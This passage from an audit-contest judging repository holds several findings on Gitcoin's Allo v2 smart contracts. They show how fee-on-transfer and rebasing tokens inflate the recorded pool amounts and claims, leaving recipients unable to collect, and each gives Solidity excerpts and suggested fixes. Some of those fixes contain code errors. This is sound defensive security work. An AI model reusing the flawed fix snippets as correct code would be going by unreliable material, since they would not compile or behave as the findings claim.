Tiger\n\nmedium\n\n# Pool's strategies does not support `fee on transfer` tokens causing an error in the counting system\n\nThere is not support on `fee on transfer` tokens when funding a pool causing an error in the counting system.\n\n## Vulnerability Detail\n\nThe [Allo::_fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502) function helps to depositants to [send tokens to the _strategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516). The problem is that pools can use `fee on transfer` tokens, so when the transfer transaction occurs the current amount sent to the strategy could be less.\n\nThe transfer occurs in the [code line 516](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516) using the amount `amountAfterFee`, then in the [code line 517](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517) the strategy amount is increased:\n\n```solidity\nFile: Allo.sol\n502: function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n503: uint256 feeAmount;\n504: uint256 amountAfterFee = _amount;\n505: \n506: Pool storage pool = pools[_poolId];\n507: address _token = pool.token;\n508: \n509: if (percentFee > 0) {\n510: feeAmount = (_amount * percentFee) / getFeeDenominator();\n511: amountAfterFee -= feeAmount;\n512: \n513: _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n514: }\n515: \n516: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n517: _strategy.increasePoolAmount(amountAfterFee);\n518: \n519: emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n520: }\n```\n\nThe [BaseStrategy::increasePoolAmount()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153C14-L153C32) function is not considering the fee charged by the token.\n\n## Impact\n\nThere are errors in the counting system ([poolAmount](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155)) that can affect the distribution of the tokens to the recipients because the calculation can be for a certain amount but actually there could be a less amount in the pools. E.g. the [QVBaseStrategy::_getPayout()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571) calculations may be using more tokens than the available in the pool.\n\n\n## Code Snippet\n\n- [Allo::_fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502)\n- [BaseStrategy::increasePoolAmount()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153C14-L153C32)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nCalculates the strategy balance before and after the transfer transaction:\n\n```diff\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n++ uint256 strategyBalanceBefore = _token.balanceOf(address(strategy));\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n++ uint256 strategyBalanceAfter = _token.balanceOf(address(strategy));\n-- _strategy.increasePoolAmount(amountAfterFee);\n++ _strategy.increasePoolAmount(strategyBalanceAfter - strategyBalanceBefore);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\nOf course elaborate a better solution that consider `NATIVE` tokens","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/536.md"}} +{"title":"`DonationVotingMerkleDistributionVaultStrategy` deos not work if one of the allowed tokens is a fee on transfer token","severity":"medium","body":"Dandy Lavender Wombat\n\nhigh\n\n# `DonationVotingMerkleDistributionVaultStrategy` deos not work if one of the allowed tokens is a fee on transfer token\n\nIf one of the tokens allowed in a `DonationVotingMerkleDistributionVaultStrategy` is a fee on transfer token, vault will hold less tokens than the sum of all claims for this token. This will result in not everyone being able to claim the amount of tokens that were donated to them.\n\n\n## Vulnerability Detail\n\nIn the `DonationVotingMerkleDistributionVaultStrategy` users can allocate tokens to accepted recipients by calling `allocate`. When allocating tokens to a recipient, the amount of tokens specified by the user is send to the vault/strategy and the claims mapping, an overview of the amount of tokens a recipient is allowed to claim, is uncreased by the amount of tokens send to the vault. \n\nThe problem arises when the token is a fee on demand token. Such tokens take a fee each time tokens are moved from one account to another. This means that the amount send to the vault is not the amount the pool finally receives but `the amount sent - fee`. For example if the fee taken on transfer is 2% and one sends 100 tokens the amount claimable by the recipient will be increased by 100 but the tokens held by the vault will be 100-2=98. \n\nThis will result in problems when all recipients want to claim the tokens donated to them since the amount of tokens held by the pool will not be able to cover the sum of all claims. \n\nExample:\n\nAlice allocates in a `DonationVotingMerkleDistributionVaultStrategy` 100 fee on demand token with a fee of 2% to Bob. Bobs claim for the token will be 100 tokens but once Alice sends the 100 tokens to the vault, only 98 tokens will find their way to the pool. This means that Bob will not be able to claim his tokens since he can only claim 100% of the tokens allocated to him. \n\n\n## Impact\n\nAt least one recipient will not be able to get the tokens allocated to them resulting in additional cost for the pool owner if he wants to honer all claims. E.g. if the token has a 2% transaction fee and the sum of all claims for the fee on transfer token is 10.000 tokens, the owner will need to come up with additional 200 tokens.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck the amount of tokens held by the vault before and after the transfer and increase the claim for the recipient by the amount the holdings of the vault increased by transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/482.md"}} +{"title":"`QVSimpleStrategy` does not work when token is a `fee on transfer token`","severity":"medium","body":"Dandy Lavender Wombat\n\nhigh\n\n# `QVSimpleStrategy` does not work when token is a `fee on transfer token`\n\nIf the token used for a pool is a fee on transfer token, the value of the variable `poolAmount` will be higher than the actual amount of tokens held by the pool. This will result in distribution problems of the pool if 100% of the pool amount is supposed to be given to recipients.\n\n\n## Vulnerability Detail\n\nThe amount of tokens available for the pool for distribution is tracked in the variable `poolAmount`. The variable is updated when the pool is funded and is increased by the amount the funder sends to the pool. The problem arises when the token is a fee on demand token. Such tokens take a fee each time tokens are moved from one account to another. This means that the amount send to the pool is not the amount the pool finally receives but the amount sent - fee. For example if the fee taken on transfer is 2% and one sends 100 tokens the variable `poolAmount` will be 100 but the tokens held by the pool will be 100-2=98. This will result in problems since 100% of `poolAmount` needs to be distributed to recipients in the `QVSimpleStrategy`. In this strategy, recipients get a share of the `poolAmount` based on the number of votes the got compared to all votes given.\n\n ` amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes; `\n\n This means that not all recipients will be able to get their share of the `poolAmount` since the sum of the amounts allocated to all recipients will be bigger than the number of tokens held by the pool.\n\nExample:\n\nAlice funds a `QVSimpleStrategy` with a fee on demand token. She funds the pool with 100 tokens, the fee for the token is 2%. Only 98 tokens find their way to the pool but the variable `poolAmount` is set to 100. The strategy has 2 recipients, each recipients gets 10 votes leading to the allocation of 50% of `poolAmount` to each recipient. Since each recipient should get 50 tokens but the pool only holds 98 tokens, one of the recipients will not be able to get his share.\n\n\n## Impact\n\nAt least one recipient will not be able to get his share resulting in additional cost for the pool owner if he wants to honer all distributions. E.g. if the token has a 2% transaction fee and the `poolAmound` is 10.000 tokens the owner will need to come up with additional 200 tokens. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L517\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen funding a pool, check the amount of tokens held by the pool after the funding and set this amount as the poolAmount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/474.md"}} +{"title":"The protocol cannot use transfer-on-fee token as pool.token","severity":"medium","body":"Furry Cider Panda\n\nhigh\n\n# The protocol cannot use transfer-on-fee token as pool.token\n\nAs we all know, transfer-on-fee tokens will charge a fee for each transfer. According to readme, we can know that the protocol supports such tokens. However, current implementations do not handle such tokens. For such tokens, obtaining the actual number of tokens received should be calculated using the `balanceAfter - balanceBefore` method.\n\n## Vulnerability Detail\n\n_fundPool is called by [[fundPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L344)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L344) and [[_createPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L481)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L481). This function is used to transfer the specified amount from the caller to the strategy contract bound to the pool.\n\n```solidity\nFile: contracts\\core\\Allo.sol\n502: function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n503: uint256 feeAmount;\n504: uint256 amountAfterFee = _amount;\n505: \n506: Pool storage pool = pools[_poolId];\n507: address _token = pool.token;\n......//\n516:-> _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n517:-> _strategy.increasePoolAmount(amountAfterFee);\n518: \n519: emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n520: }\n\nFile: contracts\\strategies\\BaseStrategy.sol\n153: function increasePoolAmount(uint256 _amount) external override onlyAllo {\n154: _beforeIncreasePoolAmount(_amount);\n155:-> poolAmount += _amount;\n156: _afterIncreasePoolAmount(_amount);\n157: }\n```\n\nL516, transfer `amountAfterFee` from the caller to _strategy.\n\nL517, call `_strategy.increasePoolAmount(amountAfterFee)` in order to accumulate `amountAfterFee` to `poolAmount`.\n\nSince transfer-on-fee charges a fee in the transfer, the actual amount received by _strategy is less than `amountAfterFee`. However, the value accumulated to `poolAmount` is `amountAfterFee`, which causes `poolAmount` to be higher than the amount of tokens held by _strategy. In this way, a situation arises: when all amount of token is distributed to all recipients, the last recipient may not receive the token because _strategy does not have enough balance.\n\nConsider the following scenario:\n\nFor simplicity, assume that pool.token is a transfer-on-fee token. Each transfer is charged a 1% fee. There are 2 recipients (A and B). percentFee=0.\n\n1. Someone transferred 1000e18 token via `fundPool`. Due to the 1% fee, the actual amount transferred to the strategy was 990e18. poolAmount = 1000e18.\n2. A and B should share `poolAmount` equally, which means that both A and B will get 500e18 token.\n3. The pool manager calls `distribute` for A, which internally calls token.transfer(A, 500e18), then A gets 495e18 token. And strategy currently holds 490e18 token.\n4. The pool manager calls `distribute` for B, which internally calls token.transfer(B, 500e18), then tx revert due to insufficient balance. B gets nothing.\n\nThere is another piece of code that is also affected: [[DonationVotingMerkleDistributionVaultStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135).\n\n## Impact\n\nAffected strategy contracts: All.\n\nBecause the real balance of transfer-on-fee tokens is not calculated correctly, the last recipient cannot get the funds it deserves. The number of affected recipients depends on the transfer fee. The higher the fee, the more recipients are affected.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to use the following method to obtain the real amount:\n\n```fix\nuint256 balanceBefore = token.balance(strategy);\ntoken.transfer(strategy, amount);\nuint256 balanceAfter = token.balance(strategy);\nuint256 realAmount = balanceAfter - balanceBefore;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/472.md"}} +{"title":"Inaccurate poolAmount calculations with inflationary, deflationary and rebasing tokens","severity":"medium","body":"Ambitious Brick Ladybug\n\nmedium\n\n# Inaccurate poolAmount calculations with inflationary, deflationary and rebasing tokens\nThe protocol allows for the usage of any ERC-20 token, including those with inflationary, deflationary, or rebasing properties. The system's logic assumes a static value for the pool's balance (`poolAmount`) across various functions, which can result in discrepancies if the underlying token's balance changes unexpectedly.\n```solidity \n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n\n```\n## Vulnerability Detail\nWhen using inflationary, deflationary, or rebasing tokens:\n\n* Inflationary Tokens: These tokens increase in supply over time. If an inflationary token is used as the pool's token, the actual balance of the token can become greater than the stored poolAmount.\n\n* Deflationary Tokens: These tokens reduce in supply, usually by burning a percentage on each transfer. When distributing funds or calculating fees with deflationary tokens, the actual amount received by recipients or the treasury might be less than expected due to the burn mechanism. The poolAmount might then be greater than the actual token balance.\n\n* Rebasing Tokens: The balance of rebasing tokens can change based on external factors, such as the price of the token relative to another asset. This can lead to a change in the token balance without any transfer or explicit action taken by the contract.\n\nIn the protocol:\n\n* The `_fundPool` function from Allo contract transfers funds based on a given amount, increasing the `poolAmount` variable, which doesn't account for any potential changes in the token's balance due to its inflationary, deflationary, or rebasing nature.\n* The `_distributeSingle` in DonationVotingMerkleDistributionBaseStrategy.sol, `_distribute` in QVBaseStrategy.sol, and `_distribute` in RFPSimpleStrategy.sol functions all use `poolAmount` to calculate distributions and check for sufficient funds. \n* Additionally, the `withdraw` function from DonationVotingMerkleDistributionBaseStrategy contract reverts if the desired amount is greater that the `poolAmount` value, preventing the token from being withdrawn.\n\n## Impact\nIf the balance of tokens increases, the protocol might incorrectly think there are insufficient funds, preventing valid distributions of the whole amount of funds.\nIf the balance of tokens decreases, the protocol might mistakenly believe there are enough funds, leading to transaction reverts.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L790\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L438\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a function in the Allo or BaseStrategy contract, that allows an admin or the pool owner to manually synchronize the `poolAmount` with the actual token balance.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/462.md"}} +{"title":"Issues with accounting logic and distribution when using \"Fee on Transfer\" tokens with `QVSimpleStrategy`","severity":"medium","body":"Future Sangria Giraffe\n\nmedium\n\n# Issues with accounting logic and distribution when using \"Fee on Transfer\" tokens with `QVSimpleStrategy`\n\nThere is an issue with \"Fee on Transfer\" tokens when funding a pool, since the accounting logic is accounting the full amount of tokens. This may lead to the distribution of tokens not working because of the wrong accounting that doesn't match with the funds in the pool.\n\n## Vulnerability Detail\n\nWhen a pool gets funded with a \"Fee on Transfer\" token where `Allo._fundPool()` is being called (for example from `Allo.fundPool()` line 344 in Allo.sol), the amount (`amountAfterFee`) of tokens are transferred from the `msg.sender` to the `strategy` on line 516 in Allo.sol. However when transferring a certain `amount` of \"Fee on Transfer\" tokens, the receiver will not receive the full `amount` of tokens but instead the receiver receives less since the actual amount received is reduced by the fee from the \"Fee on Transfer\" token. So the strategy will receive less than `amountAfterFee` tokens.\n\nThen on line 517 in Allo.sol `BaseStrategy.increasePoolAmount()` gets called with `amountAfterFee` for the `_amount` function param, where the `_amount` is added to the `poolAmount` (line 155 BaseStrategy.sol). Thus `poolAmount` will be higher than the actual amount of funds in the pool.\n\nReference: https://github.com/d-xo/weird-erc20#fee-on-transfer\n\n## Impact\n\nDue to this issue, the distribution of tokens from the `QVSimpleStrategy` may not work and revert.\n\nExample:\n\n100 \"Fee on Transfer\" tokens are funded to the `QVSimpleStrategy` pool, resulting in that the `QVSimpleStrategy` will be holding 90 tokens in the end (10% fee reduced from the \"Fee on Transfer\" token). However the distribution is based on the amount of 100 that was stored in the `poolAmount` storage variable of the `QVSimpleStrategy`. `Alice` should get 50% so they would receive 50 tokens (instead of 45). `Bob` who should also get 50% would also receive 50 tokens (instead of 45), but the strategy is missing the funds so Bob won't receive anything due to missing funds and due to the fact that the distribution then reverts for `Bob` (line 456 QVBaseStrategy.sol).\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider when funding a pool in `Allo.fundpool()` to check the balance before and after transfer of tokens and handle the accounting logic accordingly to match the received funds.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/461.md"}} +{"title":"`DonationVotingMerkleDistributionVaultStrategy::_afterAllocate` is not capable of dealing with fee-on-transfer tokens","severity":"medium","body":"Future Sangria Giraffe\n\nmedium\n\n# `DonationVotingMerkleDistributionVaultStrategy::_afterAllocate` is not capable of dealing with fee-on-transfer tokens\n\nIf `DonationVotingMerkleDistributionVaultStrategy::_afterAllocate` is used with fee-on-transfer tokens,\nsome recipients might not be able to get their claims out and some claims may be locked.\n\n\n## Vulnerability Detail\n\nIf some fee-on-transfer tokens are used to call `Allo::allocate` on the `DonationVotingMerkleDistributionVaultStrategy`,\nit will update the claim for the recipient based on the given amount parameter amount.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L114-L137\n\nThe `PERMIT2.permitTransferFrom` will use `transferFrom` on the `p2Data.permit.permitted.token` and asks to transfer the `amount` from the `_sender` to the `address(this)`.\nThen the `amount` will be added to the `claims` mappings for the recipient to `claim` later.\n\nIf the `p2Data.permit.permitted.token` should be a fee-on-transfer token, however, the requested `amount` may be less than the amount the strategy contract actually receives.\nIn that case, the actualy token balance of the strategy may be less than the sum of the claims for that token.\nAs the result, some recipients who claims later may be unable to claim any amount.\n\nFor example, if 100 STA token was allocated to Alice, then the actual STA balance of the DonationVotingMerkleDistributionVaultStrategy would be 99 STA.\nThen, Alice attempts to claim, but she will fail, since the `claim` function will try to tranfer out 100 STA.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L90\n\nAlso, some tokens may transfer less amount than the specified amount [such as `cUSDCv3`](https://github.com/d-xo/weird-erc20#transfer-of-less-than-amount).\n\n## Impact\n\nWhen fee-on-transfer tokens or some tokens which transfer less than the `amount` are used with `DonationVotingMerkleDistributionVaultStrategy::allocate` ,\nsome recipients might not be able to get their claims out and some claims may be locked.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L114-L137\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L90\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\ncheck the balance change before and after the `PERMIT2.permitTransferFrom` call to increase the claims in the `_afterAllocate` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/449.md"}} +{"title":"fee-on-transfer tokens can cause stuck of funds","severity":"medium","body":"Suave Orchid Crab\n\nhigh\n\n# fee-on-transfer tokens can cause stuck of funds\nfee-on-transfer tokens can cause stuck of funds\n\n## Vulnerability Detail\nIn the DonationVotingMerkleDistributionVaultStrategy.sol contract, an amount of tokens is transferred from an allocator to the contract and the amount transferred is saved in a mapping. The protocol allows arbitrary ERC20s to be used, meaning that an account can allocate fee-on-transfer tokens. If he allocates 100 tokens, the full amount will not be transferred (as some tokens charge a transfer fee), although the mapping will store the full amount. Later, when the recipient wants to claim their tokens, they will not be able to withdraw 100 tokens, even though the mapping stores that they have 100 tokens.\n\n## Impact\nThe recipient won't be able to withdraw the funds and they will be stuck. \n\n## Code Snippet\n```solidity\n function _afterAllocate(bytes memory _data, address _sender) internal override {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n\n // Get the token address\n address token = p2Data.permit.permitted.token;\n uint256 amount = p2Data.permit.permitted.amount;\n\n\n if (token == NATIVE) {\n if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n SafeTransferLib.safeTransferETH(address(this), amount);\n } else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n}\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135\n## Tool used\n\nManual Review\n\n## Recommendation\nUse balance before and after check to make sure the saved amount in the mapping is the accurate amount of token when a token transfer is performed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/422.md"}} +{"title":"Insufficient support for Fee-on-Transfer Tokens which will result in computation inconsistencies.","severity":"medium","body":"Late White Capybara\n\nmedium\n\n# Insufficient support for Fee-on-Transfer Tokens which will result in computation inconsistencies.\nFee-on-Transfer Tokens are not handled well which will result in computation inconsistencies.\n\n## Vulnerability Detail\nAccording to the [docs](https://github.com/sherlock-audit/2023-09-Gitcoin/tree/main#q-are-there-any-fee-on-transfer-tokens-interacting-with-the-smart-contracts), fee-on-transfer tokens will interact with the protocol but they are not well handled which will result in wrong calculation.\n\n[Fee-on-Transfer Tokens](https://github.com/d-xo/weird-erc20#fee-on-transfer) take a transfer fee. This means the actual received amount is not equal to the input amount from the user.\n\nThe `_fundPool(_amount,,)` takes `_amount` input from the user, then that `_amount` is used to calculate the `amountAfterFee`, which is then used to `increasePoolAmount()` of the pool. \n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n ///@audit-issue M fee-on-transfer tokens not handled\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\nThat is not correct. The actual received amount will not be equal to the inputted `_amount` in the case of a fee-on-transfer token like PAXG. The calculation should be done on the basis of the actual amount received. And then that will be used to `increasePoolAmount()`.\n\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L504\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\n- Do the calculation on the actual received amount by calculating the `before` and `after` amounts of the contract\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n uint256 balanceBefore = IERC20Upgradeable(_token).balanceOf(address(this));\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(this), amount: _amount}));\n uint256 balanceAfter = IERC20Upgradeable(_token).balanceOf(address(this));\n\n ///@note Actual Recieved Amount\n uint256 amountAfterFee = balanceAfter - balanceBefore;\n require(amountAfterFee != 0, \"NOT ENOUGH TOKENS SENT\");\n\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n /// ( * ) / 1e18\n amountAfterFee -= feeAmount;\n\n _transferAmount(_token, treasury, feeAmount);\n }\n\n //@note As the contract has already recieved all the tokens so it will be a `_transferAmount` & not `_transferAmountFrom`\n _transferAmount(_token, address(_strategy), amountAfterFee);\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nThis refactored code properly handles fee-on-transfer tokens by calculating the fee based on the actual received amount. Thanks!","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/396.md"}} +{"title":"A strategy's `poolAmount` will be incorrect when using fee on transfer tokens","severity":"medium","body":"Powerful Shadow Sloth\n\nmedium\n\n# A strategy's `poolAmount` will be incorrect when using fee on transfer tokens\n\n## Vulnerability Detail\n\nWhen [`_fundPool()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L502) is called, [`amountAfterFee`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L504) is calculated, and used to transfer the tokens from [msg.sender to the strategy](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L516). It is then passed to [`_strategy.increasePoolAmount(amountAfterFee);`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L517) in order to update the [strategy's internal accounting for the `poolAmount`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/BaseStrategy.sol#L155), however, the actual amount in the strategy will be less than `amountAfterFee` when a fee on transfer token is used. This means that the strategy's `poolAmount` will be greater than its actual balance, and any logic in the dependencies of the `BaseStrategy` will fail when checking the `poolAmount` to determine if there is a sufficient amount to transfer tokens or not such as [`RFPSimpleStrategy`'s `_distribute()`](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L438-L439), [`QVBaseStrategy`'s `_distribute()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L448), or [`DonationVotingMerkleDistributionBaseStrategy`'s `_distributeSingle()`](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L790-L793).\n\n## Impact\n\nMedium\n\n## Code Snippet\n\n```diff\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / 